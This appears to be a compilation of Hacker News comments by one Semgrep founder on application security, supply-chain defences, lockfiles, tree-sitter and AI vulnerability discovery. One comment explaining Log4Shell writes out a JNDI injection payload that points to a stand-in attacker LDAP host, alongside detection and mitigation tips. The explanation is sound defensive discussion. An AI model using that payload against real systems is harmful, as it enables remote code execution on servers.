ievans

Last year I thought that AI-generated code would be scanned the same way as human-generated code. What I realized from working on Guardian was that being in the agent loop is an unfair advantage: you can ask the agent to switch to a secure library (eg, defusedxml for python) and it will happily do it before code lands. If you asked a developer to do that in a CI code review, it's a lot more context switching and work.

That means there is an unprecedented opportunity to make both security and developer outcomes better by shaping agent behavior towards secure defaults. Even things like "don't add dependencies unless these conditions are met; we only want top1000 NPM dependencies, otherwise just write it yourself."

Capabilities like this will have a big impact on the OSS ecosystem (positive and negative) as they profilerate.

Top comment has a great explicit refutation:

This plan works by letting software supply chain companies find security issues in new releases. Many security companies have automated scanners for popular and less popular libraries, with manual triggers for those libraries which are not in the top N.

Not super surprising that Anthropic is shipping a vulnerability detection feature -- OpenAI announced Aardvark back in October (https://openai.com/index/introducing-aardvark/) and Google announced BigSleep in Nov 2024 (https://cloud.google.com/blog/products/identity-security/clo...).

The impact question is really around scale; a few weeks ago Anthropic claimed 500 "high-severity" vulnerabilities discovered by Opus 4.6 (https://red.anthropic.com/2026/zero-days/). There's been some skepticism about whether they are truly high severity, but it's a much larger number than what BigSleep found (~20) and Aardvark hasn't released public numbers.

As someone who founded a company in the space (Semgrep), I really appreciated that the DARPA AIxCC competition required players using LLMs for vulnerability discovery to disclose $cost/vuln and the confusion matrix of false positives along with it. It's clear that LLMs are super valuable for vulnerability discovery, but without that information it's difficult to know which foundation model is really leading.

What we've found is that giving LLM security agents access to good tools (Semgrep, CodeQL, etc.) makes them significantly better esp. when it comes to false positives. We think the future is more "virtual security engineer" agents using tools with humans acting as the appsec manager. Would be very interested to hear from other people on HN who have been trying this approach!

"Staged publishing: A new publication model that gives maintainers a review period before packages go live, with MFA-verified approval from package owners. This empowers teams to catch unintended changes before they reach downstream users—a capability the community has been requesting for years."

Overdue but welcome!

This is explicitly not the conclusion Pascal drew with the wager, as described in the next section of the Wikipedia article: "Pascal's intent was not to provide an argument to convince atheists to believe, but (a) to show the fallacy of attempting to use logical reasoning to prove or disprove God..."

Do you store your SSDs powered? They can lose information if they're not semi-frequently powered on.

For C, you might be interested in https://github.com/weggli-rs/weggli or https://github.com/semgrep/semgrep (I work on the latter). Both are also tree-sitter based.

Looks like the `ets` readme has a direct comparison:

The purpose of ets is similar to that of moreutils ts(1), but ets differentiates itself from similar offerings by running commands directly within ptys, hence solving thorny issues like pipe buffering and commands disabling color and interactive features when detecting a pipe as output. (ets does provide a reading-from-stdin mode if you insist.) ets also recognizes carriage return as a line seperator, so it doesn't choke if your command prints a progress bar. A more detailed comparison of ets and ts can be found below.

I wrote up a Semgrep rule as a comparison to add! (also tree-sitter based, `pip install Semgrep`, https://github.com/semgrep/semgrep, or play with live editor link: https://semgrep.dev/playground/s/nJ4rY)

    pattern: |-
       def $FUNC(..., database, ...):
           $...BODY
    fix: |-
      def $FUNC(..., db, ...):
          $...BODY

So the argument is because the vulnerability lifetime is exponentially distributed, focusing on secure defaults like memory safety in new code is disproportionately valuable, both theoretically and now evidentially seen over six years on the Android codebase.

Amazing, I've never seen this argument used to support shift/left secure guardrails but it's great. Especially for those with larger, legacy codebases who might otherwise say "why bother, we're never going to benefit from memory-safety on our 100M lines of C++."

I think it also implies any lightweight vulnerability detection has disproportionate benefit -- even if it was to only look at new code & dependencies vs the backlog.

Absolutely agreed, and copying from a comment I wrote last year: I think the fact that tree-sitter is dependency-free is worth highlighting. For context, some of my teammates maintain the OCaml tree-sitter bindings and often contribute to grammars as part of our work on Semgrep (Semgrep uses tree-sitter for searching code and parsing queries that are code snippets themselves into AST matchers).

Often when writing a linter, you need to bring along the runtime of the language you're targeting. E.g., in python if you're writing a parser using the builtin `ast` module, you need to match the language version & features. So you can't parse Python 3 code with Pylint running on Python 2.7, for instance. This ends up being more obnoxious than you'd think at first, especially if you're targeting multiple languages.

Before tree-sitter, using a language's built-in AST tooling was often the best approach because it is guaranteed to keep up with the latest syntax. IMO the genius of tree-sitter is that it's made it way easier than with traditional grammars to keep the language parsers updated. Highly recommend Max Brunsfield's strange loop talk if you want to learn more about the design choices behind tree-sitter: https://www.youtube.com/watch?v=Jes3bD6P0To

And this has resulted in a bunch of new tools built off on tree-sitter, off the top of my head in addition to difftastic: neovim, Zed, Semgrep, and Github code search!

I'm surprised there are so many negative comments on this release, which I suppose is timed for discussion at Blackhat/Defcon.

The report's identifies its audience as four groups of stakeholders: (1) federal civilian executive branch agencies (2) target rich, resource poor entities where federal assistance and support is most needed, including SLTT partners and our nation’s election infrastructure; (3) organizations that are uniquely critical to providing or sustaining National Critical Function (4) technology and cybersecurity companies with capability and visibility to drive security at scale

The overlap with the HN audience is probably primarily under the last category, where they have 5 objectives listed in the report (increasing threat modeling, secure software development frameworks, accurate CVE data, secure-by-design roadmaps, and publishing stats like MFA adoption and % of customers using unsupported product version). These all seem like good priorities for an agency like CISA and I've been impressed by their level of direct industry interaction even in our company's corner of the security (appsec) space.

I was relying on backup codes until I recently learned (via a PSA on HN) that you should actually backup the TOTP QR codes and not rely on the 2fa backup codes because they may not provide the same level of access.

Specifically, the HN post claim was that using a backup 2FA code to get into your Google account won’t allow you to add a new authenticator app.

Sad to see this as someone who enjoyed these as a kid and entering robotics competitions based off of them; hopefully the new products will keep the spirit alive.

There was even some decent FOSS tooling that developed on top of Mindstorms: I used NXC (Not eXactly C, https://bricxcc.sourceforge.net/nbc/welcome.html) which was a C-like language for programming Lego Mindstorms. It looks like the last release of NXC was in 2011.

Both Semgrep Supply Chain and govulncheck (AFAIK) are doing this work manually, for now. It would indeed be nice if the vulnerability reporting process had a way to provide metadata, but there's no real consensus on what format that data would take. We take advantage of the fact that Semgrep makes it much easier than other commercial tools (or even most linters) to write a rule quickly.

The good news is there's a natural statistical power distribution: most alerts come from few vulnerabilities in the most popular (and often large) libraries, so you get significant lift just by writing rules starting with libraries.

All the engine functionality is FOSS https://semgrep.dev/docs/experiments/r2c-internal-project-de... (code at https://github.com/returntocorp/semgrep); but the rules are currently private (may change in the future).

As with all other Semgrep scanning, the analysis is done locally and offline -- which is a major contrast to most other vendors. See #12 on our development philosophy for more details: https://semgrep.dev/docs/contributing/semgrep-philosophy/

Relevant part of the changelog is a good idea--others have also come out with statistical approaches based on upgrades others made (eg dependabot has a compatibility score which is based on "when we made PRs for this on other repos, what % of the time did tests pass vs fail")

We added support to the Semgrep engine for combining package metadata restrictions (from the CVE format) with code search patterns that indicate you're using the vulnerable library (we're writing those mostly manually, but Semgrep makes it pretty easy):

    - id: vulnerable-awscli-apr-2017
      pattern-either:
      - pattern: boto3.resource('s3', ...)
      - pattern: boto3.client('s3', ...)
      r2c-internal-project-depends-on:
        namespace: pypi
        package: awscli
        version: "<= 1.11.82"
      message: this version of awscli is subject to a directory traversal vulnerability in the s3 module

Thanks for the correction; my knowledge is a bit out of date, Firefox at least (not sure about Safari) switched to W^X JIT a good while back: https://jandemooij.nl/blog/wx-jit-code-enabled-in-firefox/. That's cool.

W^X is more difficult to exploit for sure, but as other commenters point out, unfortunately still possible.

Notable highlights for me:

Lockdown Mode is available in iOS 16 and coming soon in iPadOS 16 and macOS Ventura.

Web browsing - Certain complex web technologies are blocked, which might cause some websites to load more slowly or not operate correctly. In addition, web fonts might not be displayed, and images might be replaced with a missing image icon.

The first sentence I believe is referring to disabling JIT (just in time compilation of Javascript), which is dangerous as it allocates W+X pages which are often used by the final stage of an exploit. Apple did an amazing job already of hardening iOS by severely restricting which applications can use JIT (and this is their justification for why non-Safari browser engines are not allowed on iOS) and even enabling per-thread memory page permissions. Many more details are in this fantastic post from Google's project Zero: https://googleprojectzero.blogspot.com/2020/09/jitsploitatio...

Overall it's very interesting to see Apple invest so significantly in something that will benefit relatively few users -- not that I'm complaining!

This is great news! I like how the article cites evidence that MFA is disproportionately effective against account takeover.

If the rubygems devs are looking for other highly effective wins against supply chain attacks: I think the next thing is deeper support for lockfiles. Although Ruby has Gemfile.lock, it's not a true lockfile in the same way that package managers in the javascript/go/python ecosystems are. Specifically, locking versions is optional, there's no locking by hash (Github issue: https://github.com/rubygems/rubygems/issues/3379), and there's no capability to lock local or source-only dependencies by hash. By comparison: go modules, pipenv, npm, yarn, nuget, composer, and gradle already support locking by hash.

This is a great article and I think tree-sitter's design choices are creating a budding ecosystem of new program analysis tooling. This article discusses the speed advantages, but I think the fact that tree-sitter is dependency-free (which the author's previous article did mention) is worth highlighting again.

For context, some of my teammates maintain the OCaml tree-sitter bindings and often contribute to grammars as part of our work on Semgrep (Semgrep uses tree-sitter for searching code and parsing queries that are code snippets themselves into AST matchers).

Often when writing a linter, you need to bring along the runtime of the language you're targeting. E.g., in python if you're writing a parser using the builtin `ast` module, you need to match the language version & features. So you can't parse Python 3 code with Pylint running on Python 2.7, for instance. This ends up being more obnoxious than you'd think at first, especially if you're targeting multiple languages.

Before tree-sitter, using a language's built-in AST tooling was often the best approach because it is guaranteed to keep up with the latest syntax. IMO the genius of tree-sitter is that it's made it way easier than with traditional grammars to keep the language parsers updated.

Highly recommend Max Brunsfield's strange loop talk if you want to learn more about the design choices behind tree-sitter: https://www.thestrangeloop.com/2018/tree-sitter---a-new-pars...

Hadolint is great! If you want to customize your lint logic beyond the checks in it, I recently wrote a Semgrep rule to require all our Dockerfiles to pin images with a sha256 hash that could be a good starting point: https://github.com/returntocorp/semgrep-rules/pull/1861/file...

Author here. The idea for this post came about after a HN reply (https://news.ycombinator.com/item?id=28965469) to one of my comments about the ua-parser-js issue. And the most recent trigger was a conversation with some Ruby developers about whether or not Gemfile.lock provided any security benefits (as you can see from the chart, bundler is an outlier compared to pip/npm/yarn). I wanted to collect the arguments for and against lockfiles and examine how widely supported the most critical features; would love feedback on the arguments as well as whether I’ve gotten the details write on which package manager supports what.

If you are logging a user-controlled string, the user can provide a string that uses the JNDI URL schema like ${jndi:ldap://attackercontrolled.evil}. This will fetch deserialize an arbitrary Java object, which can cause arbitrary code execution (ACE). Here's an explanation of how deserializing leads to ACE: https://vickieli.dev/insecure%20deserialization/java-deseria...

Another commentators states that after Java 8u191 arbitrary code execution isn't possible but you can get pingback: https://news.ycombinator.com/item?id=29505027

If you'd like to detect whether you're affected by this dynamically, it looks like https://github.com/google/tsunami-security-scanner-plugins/i... will eventually make it into Google's dynamic scanner: https://github.com/google/tsunami-security-scanner (I bet it would be easy to write a plugin for https://github.com/projectdiscovery/nuclei as well.)

To see if there are injection points statically, I work on a tool (https://github.com/returntocorp/semgrep) that someone else already wrote a check with: https://twitter.com/lapt0r/status/1469096944047779845 or look for the mitigation with `semgrep -e '$LOGGER.formatMsgNoLookups(true)' --lang java`. For the mitigation, the string should be unique enough that just ripgrep works well too.

This is a great example of a "feature" that seems to make sense but, for reasons I can't quite put my finger on, really bothers me.

Maybe it's that Discourse's search functionality didn't really work well, or suddenly started searching across threads rather than only the current one (IIRC); maybe it's that it's the only system I can think of (other than google docs) that hijacks the shortcut, but it gave me a very negative first impression of the tool.

Our analysis actually covers this case (and the obfuscation case below) just fine: we don’t care about being precise, just very conservative. So any use of setTimeout where the first argument is not a function is flagged as a potential dynamic execution. There are a couple other security teams at other companies who are collaborators on the project with us who have contributed Semgrep rules that cover what should be all the dynamic injection points in JS (eval, vm.*, child_process). In fact many obfuscation techniques will show up as a permission change as they involve the addition of dynamic behavior. Which is a great signal to have—why is my dependency publishing obfuscated code?

And making it does highlight “where should we look” in lockfile diffs, which makes us more comfortable updating frequently.

Also, the strongest signal comes from 0 -> 1+ permission transitions. Like if leftpad suddenly adds an exec or setTimeout call.

Would love to hear more critique of the approach though!

Our approach to solving this on our open source project:

1. Enforce use of lock files 2. On any PR that changes any hash in the lock file, run a static analysis that looks for “permission” changes in any source file. E.g., used network, used env vars, used filesystem 3. Comment on the PR with any observed permission changes

It is very alpha-quality and not yet generally available but here are some details: https://deps.semgrep.dev/

For those unfamiliar with these attack vectors, there code injection and denial-of-service issues that in previous version of Python, were exploitable by default. Projects like https://pypi.org/project/defusedxml/ were designed to be secure against these issues by default, rather than requiring the library user to opt in.

The defusedxml project has an excellent matrix showing viability of the attack types against various python XML implementations: https://pypi.org/project/defusedxml/#python-xml-libraries

I work at r2c, the company that maintains Semgrep. Happy to answer any questions! It's been a busy week for us; on Tuesday Gitlab announced that in release 14.0 they replaced their Py/Js/Ts security analyzers with Semgrep: https://r2c.dev/blog/2021/introducing-semgrep-for-gitlab/